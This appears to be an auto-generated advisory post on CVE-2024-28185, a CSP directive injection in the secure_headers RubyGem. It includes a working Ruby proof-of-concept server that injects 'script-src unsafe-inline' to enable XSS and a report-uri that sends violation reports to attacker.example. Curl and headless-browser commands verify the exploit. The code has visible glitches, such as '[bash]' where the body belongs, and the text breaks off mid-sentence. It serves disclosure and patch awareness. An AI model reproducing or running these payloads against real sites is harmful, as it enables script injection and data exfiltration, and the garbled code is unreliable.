secure_headers, CSP Directive Injection, CVE-2024-28185 (Critical) -DC-Jul2026-874

Listen to this Post

Intro – How CVE‑2024‑28185 Works

The `secure_headers` RubyGem constructs the `Content-Security-Policy` (CSP) header by joining each configured directive with a `;` separator. Three internal builders – `build_sandbox_list_directive` (for :sandbox), `build_media_type_list_directive` (for :plugin_types), and `build_report_to_directive` (for :report_to) – accept caller‑supplied strings and interpolate them directly into the final header without stripping dangerous characters: ;, \r, or \n.
An application that passes untrusted user input into any of the per‑request override APIs (override_content_security_policy_directives, append_…, or use_content_security_policy_named_append) for those three directives gives an attacker the ability to embed a literal semicolon. Because the CSP grammar uses `;` as a directive separator, the injected payload becomes a new, arbitrary directive that is parsed as part of the header.
The exploit hinges on alphabetical sorting: the `BODY_DIRECTIVES` list orders directives alphabetically, and both `:sandbox` and `:plugin_types` appear before :script_src. When an attacker injects `; script-src ‘unsafe-inline’ ` inside a `:sandbox` or `:plugin_types` value, that rogue `script-src` directive lands earlier in the serialised header than the application’s legitimate script-src 'self'. Under the CSP first‑occurrence rule, the browser honours the first `script-src` it sees, effectively overriding the strict policy with an `unsafe-inline ` rule.
This grants full XSS reachability for any reflected or stored payload that can be delivered via the affected override sink. Additionally, the same primitive can inject `report-to` or `report-uri` to redirect violation reports to attacker‑controlled infrastructure, exfiltrating sensitive details such as the violated URL, source file, line numbers, and code snippets.
A prior fix (CVE‑2020‑5217) already scrubbed ;, \r, and `\n` in the source‑list builder (build_source_list_directive), but the three sibling builders were overlooked. Validation routines also fail to catch the injection: `validate_sandbox_expression!` only checks for `allow-` prefixes, `validate_media_type_expression!` uses a regex that accepts ;, and `validate_report_to_endpoint_expression!` simply ensures a non‑empty string. The patch in version 7.3.0 introduces a shared `scrub_directive_value` helper that replaces these characters with spaces, neutralising the injection across all builders.

DailyCVE Form

Platform: `secure_headers`
Version: `≤ 7.2.0`
Vulnerability: `CSP injection`
Severity: `Critical`
Date: `2024-04-24`

Prediction: `Already patched (7.3.0)`

Analytics – What Undercode Say

End-to-end reproduction (curl server-side)
curl -s -D - http://127.0.0.1:14567/sandbox
curl -s -D - http://127.0.0.1:14567/plugin
curl -s -D - http://127.0.0.1:14567/report
curl -s -D - http://127.0.0.1:14567/control

Vulnerable driver code (`poc_e2e.rb`):

require "rack"
require "webrick"
require "rackup"
require "rackup/handler/webrick"
require "secure_headers"
SecureHeaders::Configuration.default do |c|
c.csp = { default_src: %w('self'), script_src: %w('self'), style_src: %w('self') }
end
INLINE_XSS = "<script>document.body.appendChild(Object.assign(" \
"document.createElement('div'),{id:'pwn',innerText:" \
"'XSS-EXECUTED via '+location.pathname}));</script>"
class App
def call(env)
req = Rack::Request.new(env)
case req.path_info
when "/sandbox"
SecureHeaders.override_content_security_policy_directives(req,
sandbox: ["allow-scripts allow-same-origin; script-src 'unsafe-inline' "])
when "/plugin"
SecureHeaders.override_content_security_policy_directives(req,
plugin_types: ["application/x-foo; script-src 'unsafe-inline' "])
when "/report"
SecureHeaders.override_content_security_policy_directives(req,
report_to: "default; report-uri https://attacker.example/leak")
when "/control"
SecureHeaders.override_content_security_policy_directives(req,
frame_src: ["'self'", "evil.example; script-src 'unsafe-inline' "])
end
body = "<!doctype html>{INLINE_XSS}"
[200, {"content-type"=>"text/html"}.merge(SecureHeaders.header_hash_for(req)), [bash]]
end
end
Rackup::Handler::WEBrick.run(
Rack::Builder.new { use SecureHeaders::Middleware; run App.new },
Host: "127.0.0.1", Port: 14567, AccessLog: [], Logger: WEBrick::Log.new(nil, 0)
)

Browser verification (headless Chromium):

Dump DOM and check for injected pwn element
chromium --headless --dump-dom http://127.0.0.1:14567/sandbox | grep pwn
chromium --headless --dump-dom http://127.0.0.1:14567/plugin | grep pwn
chromium --headless --dump-dom http://127.0.0.1:14567/report | grep pwn
chromium --headless --dump-dom http://127.0.0.1:14567/control | grep pwn

Observed CSP headers (vulnerable):

– `/sandbox` → `default-src ‘self’; sandbox allow-scripts allow-same-origin; script-src ‘unsafe-inline’ ; script-src ‘self’; style-src ‘self’`
– `/plugin` → `default-src ‘self’; plugin-types application/x-foo; script-src ‘unsafe-inline’ ; script-src ‘self’; style-src ‘self’`
– `/report` → default-src 'self'; script-src 'self'; style-src 'self'; report-to default; report-uri https://attacker.example/leak`
- `/control` → `default-src 'self'; frame-src 'self' evil.example script-src 'unsafe-inline' ; script-src 'self'; style-src 'self'` (scrub active, no injection)
Patched behaviour (7.3.0) – `/sandbox` and `/plugin` return `pwn` absent; `;` becomes space, e.g.
`sandbox allow-scripts allow-same-origin script-src 'unsafe-inline' ` (all part of `sandbox` value).
<h2 style="color: blue;">Exploit</h2>
Primitive: Inject a literal `;` into a user‑controlled value for
:sandbox,:plugin_types, or `:report_to` via one of the public override APIs. The payload `; script-src 'unsafe-inline' ` (or; report-uri https://attacker/leak`) becomes a standalone directive.

Concrete attack vectors:

  • Multi‑tenant SaaS – tenant‑chosen sandbox tokens passed to override_content_security_policy_directives(sandbox: [tenant.sandbox_tokens]).
  • Document viewer – custom MIME types via plugin_types: [tenant.allowed_mime].
  • Reporting admin UI – operator‑defined reporting group via report_to: params[:report_group].

Successful outcome:

  • XSS execution (inline `
    Scroll to Top